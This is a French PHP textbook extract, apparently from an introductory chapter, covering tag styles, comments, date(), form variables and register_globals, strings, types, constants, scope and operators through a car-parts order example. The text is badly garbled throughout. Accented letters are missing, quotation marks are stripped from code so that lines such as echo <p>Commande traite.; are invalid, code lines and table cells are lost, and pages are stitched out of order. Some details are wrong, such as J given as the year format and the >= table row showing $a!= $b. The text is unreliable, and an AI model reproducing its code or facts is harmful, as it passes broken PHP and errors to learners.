Ce style de balise est le plus simple ; il respecte le style des instructions de traitement SGML (Standard Generalized Markup Language). Pour utiliser ce type de
balise, qui est le plus rapide saisir au clavier, vous devez autoriser loption
open tag dans votre fichier de configuration ou compiler PHP en activant les balises abrges. Vous trouverez plus dinformations concernant ce style de balise dans
lAnnexe A. Nous vous dconseillons de lutiliser car il ne fonctionnera pas dans de
nombreux environnements puisquil nest plus activ par dfaut.
m
Style SCRIPT :
<SCRIPT LANGUAGE=php> echo "<p>Commande traite."; </SCRIPT>
Ce style de balise est le plus long et le plus familier pour les utilisateurs de JavaScript ou de VBScript. Vous pouvez ladopter si votre diteur HTML pose problme
avec les autres styles de balise.
m
Style ASP :
<% echo "<p>Commande traite.";%>
Ce style de balise est analogue au style utilis dans les pages ASP (Active Server Pages)
ou ASP.NET. Pour lemployer, vous devez activer le paramtre de configuration
asp tags. Vous navez aucune raison dutiliser ce style, sauf si votre diteur de texte est
orient ASP ou ASP.NET. Notez que, par dfaut, ce style de balise est dsactiv.
Instructions de PHP
Pour informer linterprteur PHP des actions entreprendre, il faut insrer des instructions entre les balises PHP douverture et de fermeture.
Chapitre 1
21
Dans lexemple considr ici, nous nutilisons quun seul type dinstruction :
echo "<p>Commande traite.";
et
<h1>Bienvenue
dans le garage
de Bob!</h1>
<p>Que voulez-vous commander
aujourdhui?
Lexcution de ces deux fragments donne le mme rsultat laffichage parce quils
apparaissent comme identiques pour le navigateur web. Vous pouvez toutefois utiliser
des espaces dans votre code HTML et vous tes mme fortement encourag le faire
avec soin pour amliorer la lisibilit de votre code. Il en va de mme en PHP. Rien ne
vous oblige insrer des espaces entre des instructions PHP, mais vous obtiendrez des
programmes PHP beaucoup plus lisibles si vous placez vos instructions sur des lignes
spares. Par exemple :
echo bonjour;
echo tous;
et
echo bonjour ;echo tous;
22
Partie I
Utilisation de PHP
Commentaires
Les commentaires placs dans les programmes sont en quelque sorte des indications
crites lintention des personnes qui lisent le code. Vous pouvez insrer des commentaires pour expliquer les actions du script, indiquer lauteur du script, expliquer pourquoi limplmentation a t effectue de telle manire, donner la date de dernire
modification et ainsi de suite. En gnral, tous les scripts PHP contiennent des
commentaires, lexception peut-tre des plus simples.
Linterprteur PHP ignore tout le texte plac dans un commentaire. Plus prcisment,
lanalyseur PHP saute les commentaires, comme sil sagissait despaces.
Le langage PHP supporte les commentaires de style C, C++ et shell.
Voici un commentaire de plusieurs lignes crit dans le style C et qui pourrait figurer au
dbut dun script PHP :
/* Auteur: Bob Smith
Date de dernire modification: 10 avril
Ce script traite les commandes client.
*/
Les commentaires sur plusieurs lignes doivent tre encadrs par les paires de caractres
/* et */. Tout comme en C, il est interdit dimbriquer des commentaires multiligne.
Vous pouvez galement insrer des commentaires dune seule ligne, soit dans le style
C++ :
echo <p>Commande traite.; // Dbut de laffichage
Avec ces deux derniers styles, tout le texte plac aprs le symbole de commentaire ( # ou
//) est considr comme du commentaire tant que la fin de la ligne ou la balise PHP de
clture na pas t atteinte.
Dans la ligne de code suivante, le texte avant la balise fermante, voici un commen
taire, fait partie dun commentaire. Le texte aprs la balise fermante, pas ici, est
trait comme du HTML parce quil se trouve aprs la balise fermante :
// voici un commentaire?> pas ici
Chapitre 1
23
pour sadapter aux besoins de chaque utilisateur, ou en fonction du temps, incite les
internautes revenir sur votre site. Le langage PHP permet facilement de mettre en
uvre un tel effet dynamique.
Commenons par un exemple simple. Remplacez le code PHP prcdemment insr
dans le fichier processorder.php par le code suivant :
<?php
echo <p>Commmande traite ;
echo date(H:i, \l\e j-m-Y);
echo </p>;
?>
Dans ce fragment, nous nous servons de la fonction date() prdfinie du langage PHP
pour indiquer au client la date et lheure du traitement de sa commande. Laffichage qui
en rsulte sera diffrent chaque nouvelle excution du script. La Figure 1.3 montre un
exemple de laffichage gnr par lexcution du script.
Figure 1.3
La fonction PHP date()
renvoie une chane
de date mise en forme.
Appel de fonctions
Examinez lappel de la fonction date() dans le fragment de code considr ici. Lappel
a t ralis avec la syntaxe standard. Le langage PHP comprend une riche bibliothque
de fonctions pour le dveloppement dapplications web et la plupart de ces fonctions
requirent que des donnes leur soient passes pour renvoyer un rsultat.
Soit lappel de fonction suivant :
date(H:i, \l\e j-m-Y)
Notez quune chane (des donnes textuelles) est passe la fonction dans une paire de
parenthses. Llment entre les parenthses est appel le paramtre, ou argument de la
fonction. Ces arguments constituent les entres utilises par la fonction pour gnrer le
rsultat spcifique attendu.
24
Partie I
Utilisation de PHP
Fonction date()
La fonction date() attend que le paramtre qui lui est pass soit une chane de format,
spcifiant le style voulu pour la sortie. Chacune des lettres de la chane reprsente une
partie de la date et de lheure. H est lheure dans un format sur 24 heures avec des zros
den-tte si ncessaire, i reprsente les minutes avec un zro den-tte si ncessaire,
j reprsente le jour du mois sans zro den-tte, m reprsente le numro du mois et
J reprsente lanne, sous un format quatre chiffres. Les caractres prcds dun
antislash reprsentent du texte littral (vous trouverez la liste complte des formats pris
en charge par la fonction date() au Chapitre 19).
// style abrg
// style mdium
// style long
Dans cet exemple, ainsi que dans tout le reste de cet ouvrage, nous avons adopt le
style mdium de rfrencement des variables de formulaire (autrement dit,
$ POST[qte pneus]), mais nous crons des versions abrges des variables pour des
raisons de commodit (cette approche est recommande depuis PHP 4.2.0).
Pour vos programmes personnels, vous pouvez choisir une approche diffrente mais
vous devez tre conscient des enjeux ; cest pourquoi nous prsentons ds maintenant
les diffrentes mthodes.
Chapitre 1
25
En bref :
m
Si le style abrg ($qte pneus) est pratique, il exige que le paramtre de configuration
register globals soit activ. Son activation ou sa dsactivation par dfaut dpend de
la version de PHP. Dans toutes les versions depuis 4.2.0, il a t dsactiv par dfaut.
Ce style favorisant les erreurs susceptibles de rendre votre code vulnrable aux attaques, il est dsormais dconseill. Ce serait de toute faon une mauvaise ide de lutiliser dans du nouveau code car il y a de fortes chances pour quil disparaisse en PHP 6.
Le style mdium ($ POST[qte pneus]) est maintenant lapproche recommande.
Il est assez pratique mais nest apparu quavec PHP 4.1.0 ; il ne fonctionnera donc
pas sur de trs anciennes installations.
Le style long ($HTTP POST VARS[qte pneus]) est le plus "bavard". Notez
cependant quil a t dclar obsolte (deprecated) et quil est en consquence
vraisemblable quil disparatra dans le long terme. Ce style tait auparavant le
plus portable mais peut maintenant tre dsactiv via la directive de configuration
register long arrays, qui amliore les performances. L aussi, il est dconseill
de lutiliser dans du nouveau code, sauf si lon a de trs bonnes raisons de penser
que le script sera install sur un serveur ancien.
Lorsquon emploie le style abrg, les variables du script portent les mmes noms que
les champs du formulaire HTML, cest pourquoi il nest pas ncessaire de dclarer les
variables ou dentreprendre quoi que ce soit pour les crer dans le script. Les variables
sont passes au script de la mme faon que des arguments le sont une fonction. Avec
le style abrg, on peut donc se contenter dutiliser une variable comme $qte pneus car
le champ du formulaire la cre automatiquement dans le script de traitement.
Ce type daccs pratique aux variables est attrayant mais, avant dactiver
register globals, il convient de sintresser aux raisons pour lesquelles lquipe
charge du dveloppement de PHP la dsactive.
Le fait de pouvoir accder directement aux variables est trs pratique mais cela facilite
lapparition derreurs de programmation susceptibles de compromettre la scurit de
vos scripts. Lorsque les variables dun formulaire deviennent automatiquement des
variables globales, il ny a plus de sparation vidente entre les variables cres par le
programmeur et les variables douteuses directement envoyes par lutilisateur.
Si vous ne prenez pas la prcaution de donner toutes vos variables une valeur initiale,
les utilisateurs de vos scripts peuvent donc passer des variables et des valeurs, sous la
forme de variables de formulaire, qui se mlangeront aux vtres. En consquence, si
vous choisissez le style abrg pour accder aux variables, vous devez vous assurer de
donner une valeur initiale vos variables.
Le style mdium implique la rcupration des variables de formulaire partir dun
des tableaux $ POST, $ GET ou $ REQUEST. Un tableau $ GET ou $ POST contiendra
26
Partie I
Utilisation de PHP
tous les dtails de toutes les variables du formulaire. Le choix du tableau dpend de
la mthode (GET ou POST, respectivement) utilise pour lenvoi du formulaire.
En outre, une combinaison de toutes les donnes envoyes via POST ou GET sera disponible par le biais de $ REQUEST.
Si le formulaire utilise la mthode POST, la valeur entre dans le champ qte pneus sera
enregistre dans $ POST[qte pneus]. Si cest la mthode GET qui est employe, cette
valeur sera contenue dans $ GET[qte pneus]. Dans les deux cas, la valeur sera
disponible dans $ REQUEST[qte pneus].
Ces tableaux font partie des tableaux "superglobaux", dont nous reparlerons lorsque
nous voquerons la porte des variables.
Si vous utilisez une version trs ancienne de PHP, il est possible que vous nayez pas
accs aux tableaux $ POST ou $ GET : dans les versions antrieures la 4.1.0, les
mmes informations taient enregistres dans des tableaux appels $HTTP POST VARS et
$HTTP GET VARS. Cest ce que nous appelons le style long. Comme nous lavons indiqu prcdemment, ce style a t dclar "obsolte". Il ny a pas dquivalent au tableau
$ REQUEST dans ce style.
Avec le style long, vous pouvez accder la rponse de lutilisateur via
$HTTP POST VARS[qte pneus] ou $HTTP GET VARS[qte pneus].
Les exemples dans ce livre ont t tests avec la version 5.2 de PHP et ils seront parfois
incompatibles avec des versions de PHP antrieures la version 4.1.0. Cest pourquoi nous
vous recommandons dutiliser, dans la mesure du possible, une version rcente de PHP.
Prenons un autre exemple. Le style mdium de rfrencement des variables utilisant un
type de variable appel tableau (lesquels ne seront vraiment tudis quau Chapitre 3),
nous commencerons lcriture du script en crant des copies de variables plus faciles
manipuler.
Pour copier la valeur dune variable dans une autre, servez-vous de loprateur daffectation, qui, en PHP, est le signe "gal" (=). La ligne de code suivante cre une nouvelle
variable appele $qte pneus et y copie le contenu de $ POST[qte pneus] :
$qte_pneus = $_POST[qte_pneus];
Insrez le bloc de code qui suit au dbut du script. Tous les autres scripts prsents dans
ce livre et qui traitent des donnes issues de formulaire commenceront par un bloc du
mme genre. Ce bloc ne gnrant pas de sortie, il importe peu quil soit plac avant ou
aprs la balise <html> ou les autres balises HTML du dbut de votre page. En gnral,
nous le plaons au tout dbut du script afin quil soit facilement reprable.
<?php
// Cre des noms de variables abrges
$qte_pneus = $_POST[qte_pneus];
Chapitre 1
27
$qte_huiles = $_POST[qte_huiles];
$qte_bougies = $_POST[qte_bougies];
?>
Ce code cre trois nouvelles variables ($qte pneus, $qte huiles et $qte bougies) et
les dfinit de manire quelles contiennent les donnes envoyes via la mthode POST
du formulaire.
Pour que le script ait un effet visible, ajoutez les lignes de code suivantes la fin de
votre script PHP :
echo
echo
echo
echo
ce stade, vous navez pas vrifi le contenu des variables afin de vous assurer que les
valeurs entres dans chaque champ de formulaire soient cohrentes. Essayez dentrer
de manire dlibre des donnes errones et observez ce qui se passe. Aprs avoir lu la
suite de ce chapitre, vous souhaiterez peut-tre ajouter ce script du code pour la validation des donnes.
ATTENTION
Utiliser directement les donnes de lutilisateur pour les afficher dans le navigateur comme
ici est une opration risque du point de vue de la scurit. Vous devriez filtrer ces donnes
comme on lexplique au Chapitre 4. Les problmes de scurit sont prsents au Chapitre 14.
Si vous chargez le fichier ainsi cr dans votre navigateur, le script affichera une sortie
comme celle de la Figure 1.4. Les valeurs affiches dpendent videmment de celles
qui ont t entres dans le formulaire.
Figure 1.4
Les variables saisies
par lutilisateur dans le
formulaire sont facilement accessibles dans
processorder.php.
28
Partie I
Utilisation de PHP
Les quelques points intressants relever propos de cet exemple sont examins dans
les sous-sections qui suivent.
Concatnation de chanes
Dans ce script, la fonction echo sert afficher la valeur saisie par lutilisateur dans
chacun des champs du formulaire, suivie dun texte indiquant la signification de la
valeur affiche. Examinez attentivement les instructions echo : le nom de la variable et
le texte qui le suit sont spars par un point (.), comme dans la ligne de code suivante :
echo $qte_pneus . pneus<br>;
Cette ligne quivaut linstruction prsente plus haut. Chacun de ces deux formats est
correct et le choix de lun ou lautre est surtout une affaire de got personnel. Le
processus qui consiste remplacer un nom de variable par sa valeur dans une telle
chane est appel "interpolation". Cette fonctionnalit est spcifique aux chanes entre
apostrophes doubles : elle ne fonctionne pas avec les chanes entre apostrophes simples
de cette manire. Si vous excutez la ligne de code suivante :
echo $qte_pneus pneus<br />;
le navigateur affichera simplement "$qte pneus pneus<br />". Lorsque la variable est
encadre par des apostrophes doubles, son nom est remplac par sa valeur. Si elle est
place entre des apostrophes simples, son nom, ou tout autre texte, est envoy tel quel
au navigateur.
Variables et littraux
La variable et la chane concatnes lune avec lautre dans chacune des instructions
echo sont deux entits de nature diffrente. Une variable est un symbole reprsentant
des donnes, tandis quune chane constitue les donnes elles-mmes. Lorsque des
donnes brutes sont spcifies directement dans un programme, comme cest le cas
Chapitre 1
29
dans lexemple considr ici, les donnes sont qualifies de "littrales", pour marquer la
diffrence avec une variable. $qte pneus est une variable, cest--dire un symbole dsignant les donnes saisies par le client. En revanche, pneus<br /> est un littral (cette
chane na pas besoin dtre interprte pour tre envoye au navigateur).
Nous nen avons pas tout fait fini sur ce point. Dans la dernire instruction cite, PHP
remplace dans la chane le nom de variable $qte pneus par la valeur stocke dans la
variable.
Nous avons dj mentionn deux types de chanes : celles encadres par des apostrophes doubles et celles encadres par des apostrophes simples. PHP tente dvaluer les
chanes entre apostrophes doubles, ce qui conduit au rsultat du traitement de linstruction prcdente. Les chanes places entre apostrophes simples sont traites comme des
littraux.
Il existe galement un troisime type de chane : les "documents sur place". Leur
syntaxe (<<<) est familire aux utilisateurs de Perl et a t ajoute PHP 4. Elle permet
de spcifier des chanes longues de manire soigne, en utilisant un marqueur de fin qui
sera utilis pour terminer la chane. Lexemple suivant cre et affiche une chane de trois
lignes :
echo <<<FIN
ligne1
ligne2
ligne3
FIN
Le lexme FIN est entirement arbitraire, mais il ne doit pas apparatre dans le contenu
de la chane. Pour fermer un document sur place, il suffit de placer le lexme au dbut
dune ligne.
Les documents sur place sont interpols, comme les chanes entre apostrophes doubles.
Identificateurs
Les noms des variables sont des identificateurs (tout comme les noms de fonctions et de
classes les fonctions et les classes sont traites aux Chapitres 5 et 6). Le choix des
identificateurs doit tre effectu en respectant quelques rgles simples :
m
m
m
30
Partie I
Utilisation de PHP
fonctions font exception cette rgle puisquils peuvent tre orthographis sans
respect de la casse.
m
Une variable peut porter le mme nom quune fonction. Cette pratique est toutefois
dconseille parce quelle prte confusion. Par ailleurs, vous ne pouvez pas crer
une fonction portant le mme nom quune autre fonction.
Cration de variables
Vous pouvez dclarer et utiliser vos propres variables en plus des variables passes au
script partir du formulaire HTML.
Lune des particularits de PHP est quil nest pas ncessaire de dclarer des variables
avant de les utiliser. Une variable est automatiquement cre lorsquune valeur lui est
affecte pour la premire fois (voir la section suivante pour plus de dtails ce sujet).
Chacune de ces instructions cre une variable et lui affecte une valeur littrale. Il est
galement possible daffecter la valeur dune variable une autre variable, comme le
montrent les instructions suivantes :
$qte_totale = 0;
$montant_total = $qte_totale;
Chapitre 1
31
Tableau. Utilis pour stocker plusieurs lments de donnes de mme type (voir
Chapitre 3).
Objet. Utilis pour stocker des instances de classes (voir Chapitre 6).
Il existe galement deux types spciaux : NULL et ressource. Les variables auxquelles
il na pas t donn de valeur spcifique, celles qui sont considres comme non dfinies et celles auxquelles il a t affect la valeur spcifique NULL sont considres
comme tant du type NULL. Certaines fonctions prdfinies (comme les fonctions de
base de donnes) retournent des variables du type ressource : elles reprsentent des
ressources externes (comme des connexions de base de donnes). Il est extrmement
rare que lon soit amen manipuler directement une variable du type ressource, mais
elles sont frquemment renvoyes par des fonctions et doivent tre passes comme
paramtres dautres fonctions.
Intrt du typage
On dit que PHP est un langage faiblement typ ou quil utilise un typage dynamique.
Dans la plupart des langages de programmation (C, par exemple), une variable ne
peut appartenir qu un seul type de donnes, qui doit tre prcis avant toute utilisation de la variable. En PHP, le type dune variable est dtermin par la valeur qui lui est
affecte.
Lorsque nous avons cr $qte totale et $montant total, par exemple, leurs types
initiaux ont t dtermins lors de lexcution des instructions suivantes :
$qte_totale = 0;
$montant_total = 0.00;
La valeur entire 0 ayant t affecte la variable $qte totale, celle-ci prend le type
entier. Selon la mme logique, $montant total est de type flottant.
Bien que cela puisse sembler trange, nous pourrions ajouter la ligne suivante notre
script :
$montant_total = Bonjour;
La variable $montant total serait alors de type chane car PHP adapte le type de
chaque variable aux donnes qui y sont contenues, chaque instant.
Cette capacit du langage PHP modifier les types des variables " la vole" peut se
rvler extrmement utile. Souvenez-vous que PHP dtecte "automatiquement" le type
des donnes stockes dans chaque variable et quil renvoie par consquent toujours les
donnes avec le type appropri, lorsque vous rcuprez le contenu dune variable.
32
Partie I
Utilisation de PHP
Transtypage
Si PHP est un langage faiblement typ, il donne nanmoins la possibilit de forcer le
type dune valeur ou dune variable par un transtypage (casting). Le principe est identique au transtypage du langage C. Il suffit de spcifier le type temporaire entre parenthses,
juste avant la variable concerne.
Nous pourrions ainsi dclarer les deux variables cites prcdemment, $qte_totale et
$montant_total, en effectuant un transtypage comme suit :
$qte_totale = 0;
$montant_total = (double)$qte_totale;
puis utiliser $$nom_var en lieu et place de $qte_pneus. Nous pourrions alors dfinir la
valeur de $qte_pneus de la manire suivante :
$$nom_var = 5;
Ce concept peut sembler abscons, mais vous en saisirez mieux lutilit lorsque nous
lappliquerons dans lexemple donn dans la section consacre aux boucles for, un peu
plus loin dans cet ouvrage. Plutt qunumrer et utiliser chaque variable dun formulaire sparment, nous utiliserons une boucle et une mme variable pour traiter automatiquement toutes les variables du formulaire.
Chapitre 1
33
Constantes
Comme nous lavons mentionn plus haut, nous pouvons modifier la valeur stocke dans
une variable. Nous pouvons galement dclarer des constantes. Tout comme une variable,
une constante stocke une valeur mais, contrairement une variable, cette valeur est fixe
"une fois pour toutes" et ne peut plus tre modifie un autre endroit du script.
Dans notre exemple du site de Bob, les prix des diffrents articles proposs la vente
pourraient tre stocks dans des constantes. La dfinition dune constante seffectue au
moyen de la fonction define :
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(PRIX_BOUGIES, 4);
Ajoutez ces lignes de code votre script. Nous disposons prsent de trois constantes
qui peuvent tre utilises pour calculer le total de la commande passe par le client.
Vous remarquerez que tous les noms de constante sont ici spcifis en majuscules. Cette
convention est emprunte au langage C : elle permet de distinguer dun coup dil
variables et constantes. Elle nest pas obligatoire, mais fortement recommande parce
quelle facilite la lecture et la maintenance du code.
Contrairement aux variables, les constantes ne sont pas prfixes par le caractre dollar.
Pour utiliser la valeur dune constante, il suffit de spcifier son nom. Pour utiliser lune
des constantes cres prcdemment, nous pourrions donc crire :
echo PRIX_PNEUS;
Outre les constantes cres par le programmeur, PHP utilise un grand nombre de constantes
prdfinies. Pour en connatre la liste, utilisez la fonction phpinfo() :
phpinfo();
Lappel phpinfo fournit, entre autres, la liste de toutes les variables et constantes
prdfinies dans PHP. Nous tudierons et utiliserons plusieurs de ces constantes et
variables dans la suite de cet ouvrage.
Lune des autres distinctions entre les variables et les constantes tient ce que les constantes
ne peuvent stocker que des donnes de type boolen, entier, flottant ou chane, cest-dire des types scalaires.
Les variables superglobales prdfinies sont visibles nimporte quel endroit dun
script.
34
Partie I
Utilisation de PHP
Les constantes, une fois dclares, sont toujours visibles globalement ; autrement
dit, elles peuvent tre utilises lintrieur et lextrieur de fonctions.
Les variables globales dclares dans un script sont visibles dans tout le script, mais
pas lintrieur des fonctions.
Une variable utilise lintrieur dune fonction et qui est dclare comme tant
globale fait rfrence la variable globale de mme nom.
Les variables cres lintrieur de fonctions et dclares comme statiques sont
invisibles en dehors de la fonction mais conservent leur valeur entre deux excutions
de la fonction (nous reviendrons sur ce mcanisme au Chapitre 5).
Les variables cres lintrieur dune fonction sont locales la fonction et cessent
dexister lorsque cette dernire se termine.
partir de PHP 4.2, les tableaux $ GET et $ POST ainsi que dautres variables spciales
utilisent des rgles particulires pour leur porte. Celles-ci sont appeles variables
superglobales ou autoglobales et sont visibles nimporte quel endroit du script, aussi
bien lintrieur qu lextrieur des fonctions.
Voici la liste complte des variables superglobales :
m
$ GET. Tableau des variables passes au script par le biais de la mthode GET.
$ POST. Tableau des variables passes au script par le biais de la mthode POST.
$ REQUEST. Tableau de toutes les variables entres par lutilisateur, ce qui comprend
les entres de $ GET, $ POST et $ COOKIE (mais pas celles de $ FILES depuis
PHP 4.3.0).
$ SESSION. Tableau des variables de session.
Nous tudierons chacune de ces variables mesure de nos besoins et reviendrons plus
en dtail sur la notion de porte des variables lorsque nous examinerons les fonctions et
les classes. Jusque-l, toutes les variables que nous utiliserons seront de porte globale.
Chapitre 1
35
Oprateurs
Les oprateurs sont reprsents par des symboles et servent manipuler des valeurs et
des variables en les soumettant des oprations. Pour calculer les totaux et la taxe du
bon de commande client de Bob, nous devons recourir des oprateurs.
Nous avons dj mentionn deux oprateurs : loprateur de concatnation de chanes .
et loprateur daffectation =. Dans les sections qui suivent, nous allons passer en revue
la liste complte des oprateurs disponibles en PHP.
En gnral, les oprateurs peuvent prendre un, deux ou trois arguments, la majorit
dentre eux prenant deux arguments. Par exemple, loprateur daffectation prend deux
arguments : lemplacement de stockage gauche du symbole = et une expression,
place sa droite. Ces arguments sont appels oprandes. Un oprande est un lment
auquel sapplique loprateur.
Oprateurs arithmtiques
Les oprateurs arithmtiques de PHP sont trs simples : il sagit en fait des oprateurs
mathmatiques traditionnels. Le Tableau 1.1 numre les oprateurs arithmtiques.
Tableau 1.1 : Oprateurs arithmtiques de PHP
Oprateur
Nom
Exemple
Addition
$a+$b
Soustraction
$a
Multiplication
$a * $b
Division
$a / $b
Modulo
$a% $b
$b
Avec chacun de ces oprateurs, nous pouvons stocker le rsultat de lopration, comme
ici :
$resultat = $a+$b;
36
Partie I
Utilisation de PHP
Le fonctionnement de la multiplication et de la division est lui aussi conforme au fonctionnement attendu. Notez lusage du caractre astrisque (*) pour loprateur de multiplication au lieu du symbole classique de multiplication et lusage de la barre oblique
pour loprateur de division, au lieu du symbole classique de la division.
Loprateur modulo renvoie le reste de la division de la variable $a par la variable $b.
Soit le fragment de code suivant :
$a = 27;
$b = 10;
$resultat = $a % $b;
La valeur stocke dans la variable $resultat est le reste obtenu aprs division de 27 par
10, cest--dire 7.
Les oprateurs arithmtiques sont gnralement appliqus des entiers ou des
nombres rels (doubles). Lorsquils sont appliqus des chanes, linterprteur PHP
tente de convertir les chanes en nombres. Lorsque les chanes contiennent un "e" ou un
"E", PHP les lit comme tant en notation scientifique et les convertit en nombres rels ;
sinon il les convertit en nombres entiers. PHP examine si la chane commence par des
chiffres et, si cest le cas, les utilise comme valeur numrique. Si ce nest pas le cas,
linterprteur PHP considre que la valeur de la chane est zro.
Oprateur de chanes
Nous avons dj vu et utilis lunique oprateur de chane admis par PHP : loprateur
. de concatnation de chanes. Cet oprateur semploie pour accoler deux chanes lune
lautre. Il gnre et stocke son rsultat la manire de loprateur daddition.
$a = "Le garage ";
$b = "de Bob";
$resultat = $a.$b;
se lit "$qte totale reoit la valeur zro". Nous reviendrons sur ce point un peu plus
loin dans ce chapitre, lorsque nous tudierons les oprateurs de comparaison, mais si
vous lappelez "gal" vous risquez dtre surpris.
Chapitre 1
37
Cette expression initialise la variable $b 11. Ce principe est vrai pour toutes les affectations : la valeur dune instruction daffectation est la valeur affecte loprande
plac gauche de loprateur.
Lors de lcriture dune expression arithmtique, vous pouvez employer des parenthses
pour lever la priorit dune sous-expression, comme dans la ligne de code donne plus
haut. Le principe est ici exactement le mme quen mathmatiques.
Oprateurs combins laffectation
Outre loprateur daffectation, PHP admet tout un ensemble doprateurs daffectation
combins. Chacun de ces oprateurs se prsente comme une possibilit abrge pour
effectuer une opration spcifique sur une variable et pour en affecter le rsultat cette
variable. Ainsi, lexpression :
$a += 5;
Oprateur
Exemple
quivalant
+=
$a += $b
$a = $a+$b
$a
$a = $a
=
*=
= $b
$a *= $b
$b
$a = $a * $b
38
Partie I
Utilisation de PHP
Oprateur
Exemple
quivalant
/=
$a /= $b
$a = $a / $b
%=
$a%= $b
$a = $a% $b
.=
$a .= $b
$a = $a . $b
Chapitre 1
39
Loprateur de rfrence & permet dviter de faire une copie, comme le montre lexemple
suivant :
$a = 5;
$b = &$a;
$a = 7; // les variables $a et $b ont toutes les deux la valeur 7
Les rfrences peuvent tre un peu difficiles comprendre, mais il suffit de considrer
quune rfrence sapparente un alias plutt qu un pointeur. $a et $b pointent toutes
deux vers la mme section de mmoire, mais vous pouvez modifier cela en rinitialisant
lune delles comme ceci :
unset($a);
Cette instruction ne change pas la valeur de $b (7) mais rompt le lien entre $a et la
valeur 7 stocke en mmoire.
Oprateurs de comparaison
Les oprateurs de comparaison servent comparer deux valeurs entre elles. Les expressions contenant de tels oprateurs renvoient les valeurs logiques true (vrai) ou false
(faux), selon le rsultat de la comparaison.
Oprateur dgalit
Loprateur dgalit == (deux signes gal) permet de dterminer si deux valeurs sont
gales. Par exemple, nous pourrions utiliser lexpression :
$a == $b
pour tester si les valeurs stockes dans $a et $b sont identiques. Linterprteur PHP
renvoie la valeur true si les valeurs sont gales et la valeur false si elles sont diffrentes.
Loprateur dgalit se confond facilement avec loprateur daffectation. Une telle
confusion est dautant plus dangereuse quelle ne provoque pas une erreur mais conduit
simplement un rsultat qui nest pas celui escompt. En effet, les valeurs non nulles
sont gnralement values comme true tandis que les valeurs nulles sont values
comme false. Supposons que deux variables soient initialises de la manire suivante :
$a = 5;
$b = 7;
40
Partie I
Utilisation de PHP
Sil est amen tester lexpression $a = $b, linterprteur PHP renvoie la valeur true et
la raison est facile comprendre : la valeur de lexpression $a = $b est la valeur affecte
loprande qui figure gauche de loprateur daffectation, cest--dire ici 7. Cette
valeur tant non nulle, lexpression est value comme true. Si votre intention initiale
tait de tester lexpression $a == $b (au lieu de $a = $b), qui serait value comme false
par linterprteur PHP, vous avez introduit dans votre code une erreur logique qui peut se
rvler trs difficile dtecter. Vous devez par consquent vous montrer trs prudent lorsque vous avez recours loprateur daffectation ou loprateur dgalit et vrifier
systmatiquement que vous ne confondez pas ces deux oprateurs.
Cette confusion entre les oprateurs daffectation et dgalit est trs courante et
vous vous y heurterez probablement plusieurs fois au cours de votre carrire de
programmeur.
Autres oprateurs de comparaison
PHP comprend tout un jeu doprateurs de comparaison. Ceux-ci sont dcrits dans le
Tableau 1.3.
Loprateur didentit (===) ne renvoie true que si ces deux oprandes sont gaux et du
mme type. Par exemple, 0==0 sera vrai, mais 0===0 ne le sera pas car lun des
zros est un entier et lautre est une chane.
Tableau 1.3 : Oprateurs de comparaison de PHP
Oprateur
Nom
Exemple
==
gal
$a == $b
===
Identique
$a === $b
!=
Diffrent
$a!= $b
<>
Diffrent
$a <> $b
<
Infrieur
$a < $b
>
Suprieur
$a > $b
<=
Infrieur ou gal
$a <= $b
>=
Suprieur ou gal
$a!= $b
Oprateurs logiques
Les oprateurs logiques servent combiner les rsultats de conditions logiques. Par exemple, considrons le cas dune variable $a dont la valeur est comprise entre 0 et 100. Pour
Chapitre 1
41
vrifier que la valeur de $a est bien situe dans cette plage, il nous faudrait tester les conditions $a >= 0 et $a <= 100 en nous servant de loprateur ET de la manire suivante :
$a >= 0 && $a <=100
Le langage PHP comprend les oprateurs logiques ET, OU, OU EXCLUSIF et NON.
Le Tableau 1.4 dcrit ces diffrents oprateurs.
Tableau 1.4 : Oprateurs logiques de PHP
Oprateur Nom
Exemple
Rsultat
NON
!$b
&&
ET
$a && $b
||
OU
$a || $b
and
ET
or
OU
$a or $b
xor
Les oprateurs and et or ont une priorit plus faible que celle des oprateurs && et ||. Nous
reviendrons sur la notion de priorit des oprateurs un peu plus loin dans ce chapitre.
Oprateurs sur les bits
Les oprateurs sur les bits permettent de traiter les nombres entiers sous la forme de
suites de bits utilises pour les reprsenter.
Bien que ces oprateurs soient peu utiles dans le contexte des programmes PHP, vous
en trouverez une description exhaustive dans le Tableau 1.5.
Tableau 1.5 : Oprateurs bits bits de PHP
Oprateur
Nom
Exemple
Rsultat
&
ET bit bit
$a & $b
OU bit bit
$a | $b
~$a
NON bit bit
(complment un)
42
Partie I
Utilisation de PHP
Oprateur
Nom
Exemple
Rsultat
OU EXCLUSIF
bit bit
$a ^ $b
<<
>>
Dcalage droite
$a >> $b
Autres oprateurs
Outre les oprateurs dcrits jusquici, PHP dispose de plusieurs autres oprateurs.
Loprateur virgule (,) semploie pour sparer les arguments dune fonction ainsi que
les lments dune liste. Il est gnralement utilis lintrieur de parenthses.
Les deux oprateurs spciaux new et > sutilisent respectivement pour instancier une classe
et pour accder aux membres dune classe. Nous les tudierons en dtail au Chapitre 6.
Il existe encore trois autres oprateurs, que nous allons brivement dcrire dans les
prochaines sous-sections.
Loprateur ternaire
Loprateur ternaire ?: sutilise de la manire suivante :
condition? valeur si vraie: valeur si fausse
Cette expression permet de dterminer si les tudiants sont reus ou recals leur examen.
Loprateur de suppression derreur
Loprateur de suppression derreur @ peut sutiliser devant nimporte quelle expression,
cest--dire devant tout ce qui produit ou contient une valeur. Soit linstruction suivante :
$a = @(57/0);
Chapitre 1
43
track errors, les messages derreur gnrs seront automatiquement stocks dans la
variable globale $php errormsg.
Loprateur dexcution
Loprateur dexcution se compose en fait dune paire doprateurs : ``, ou backticks.
Il sagit l non pas dune paire dapostrophes simples mais dapostrophes inverses.
Linterprteur PHP essaye dexcuter tout ce qui est insr entre les deux apostrophes
inverses comme une commande lance sur la ligne de commande du serveur. La valeur
de lexpression est alors le rsultat de lexcution de la commande.
Par exemple, sur un systme dexploitation de type Unix, vous pouvez crire :
$out = `ls -la`;
echo <pre>.$out.</pre>;
Lexcution de chacun de ces fragments de code produit une liste du contenu du rpertoire et la stocke dans la variable $out. Celle-ci peut ensuite tre passe en paramtre la
fonction echo pour un affichage dans le navigateur ou traite dune tout autre manire.
Au Chapitre 17, nous tudierons dautres faons dexcuter des commandes sur un
serveur.
Oprateurs de tableau
Loprateur [ ] permet daccder aux lments dun tableau. On se sert galement de
loprateur => dans certains contextes de tableau. Ces oprateurs seront examins au
Chapitre 3.
Vous avez galement accs un certain nombre dautres oprateurs de tableau. Nous
les prsenterons en dtail au Chapitre 3, mais ils sont inclus ici par souci dexhaustivit.
